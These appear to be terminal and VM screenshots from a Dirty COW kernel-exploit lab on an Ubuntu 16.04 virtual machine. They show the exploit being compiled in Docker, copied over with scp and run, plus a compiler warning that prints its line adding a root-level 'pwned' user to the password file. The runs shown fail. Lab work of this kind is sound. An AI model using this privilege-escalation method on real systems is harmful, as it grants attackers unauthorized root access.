

```
kali@kali: ~
File Actions Edit View Help
D25519 key fingerprint is SHA256:gxBdzCya8lPBSzGJYF0igtwELgqYTqFEInACA3KRLRQ
his key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.1.20' (ED25519) to the list of known hosts.
student@192.168.1.20's password:          100%   13KB   6.2MB/s  00:00
dirty
---(kali㉿kali)-[~]
$ scp ./dirty student@192.168.1.20:/home/student/
student@192.168.1.20's password:          100%   13KB   6.3MB/s  00:00
dirty
---(kali㉿kali)-[~]
$ sudo docker cp compile-ubuntu16:/dirty ./dirty
[sudo] password for kali:
Successfully copied 15.4kB to /home/kali/dirty
---(kali㉿kali)-[~]
$ scp ./dirty student@192.168.1.20:/home/student/
student@192.168.1.20's password:          100%   13KB   5.6MB/s  00:00
---(kali㉿kali)-[~]
$
```

dirty-cow-lab 1 [Corriendo] - Oracle VirtualBox

Archivo Máquina Ver Entrada Dispositivos Ayuda

Password:

```
Login incorrect
ubuntu login: student
Password:
Last login: Sun Jan 18 15:48:40 ART 2026 on tty1
Welcome to Ubuntu 16.04.1 LTS (GNU/Linux 4.4.0-31-generic x86_64)

 * Documentation: https://help.ubuntu.com
 * Management: https://landscape.canonical.com
 * Support: https://ubuntu.com/advantage

271 packages can be updated.
183 updates are security updates.

New release '18.04.6 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

student@ubuntu:~$ su pwned
No password entry for user 'pwned'
student@ubuntu:~$ chmod +x /home/student/dirty
student@ubuntu:~$ ./home/student/dirty
Iniciando exploit Dirty COW...
Exploit finalizado. Prueba a entrar con: su pwned (clave: password123)
student@ubuntu:~$ su pwned
No password entry for user 'pwned'
student@ubuntu:~$ su pwned
No password entry for user 'pwned'
student@ubuntu:~$ su pwned
No password entry for user 'pwned'
student@ubuntu:~$ cd/home/student
-bash: cd/home/student: No such file or directory
student@ubuntu:~$ cd /home/student
student@ubuntu:~$ ./dirty && sync
Iniciando exploit Dirty COW...
```

CTRL DERECHA

```
Setting up libc-dev-bin (2.23-0ubuntu11.3) ...
Setting up linux-libc-dev:amd64 (4.4.0-210.242) ...
Setting up libc6-dev:amd64 (2.23-0ubuntu11.3) ...
Setting up libstdc++-5-dev:amd64 (5.4.0-6ubuntu1~16.04.12) ...
Setting up g++-5 (5.4.0-6ubuntu1~16.04.12) ...
Setting up g++ (4:5.3.1-1ubuntu1) ...
update-alternatives: using /usr/bin/g++ to provide /usr/bin/c++ (c++) in auto
 mode
Setting up manpages-dev (4.04-2) ...
Processing triggers for libc-bin (2.23-0ubuntu11.3) ...
root@84be3dea2fa6:/# g++ -pthread -o /dirty dirty.cpp
dirty.cpp: In function 'int main(int, char**)':
dirty.cpp:27:19: warning: deprecated conversion from string constant to 'char
*' [-Wwrite-strings]
    char *pwned = "pwned:$6$s/L.t6Rz$Y8W.07q2F1:0:0:pwned:/root:/bin/bash\n"
root@84be3dea2fa6:/#
84be3dea2fa6      ff02::1          ip6-localhost    localhost
::1                ff02::2          ip6-localnet
fe00::0            ip6-allnodes   ip6-loopback
ff00::0            ip6-allrouters ip6-mcastprefix
root@84be3dea2fa6:/# ls -l /dirty
-rwxr-xr-x 1 root root 13552 Jan 18 18:36 /dirty
root@84be3dea2fa6:/# exit
exit
```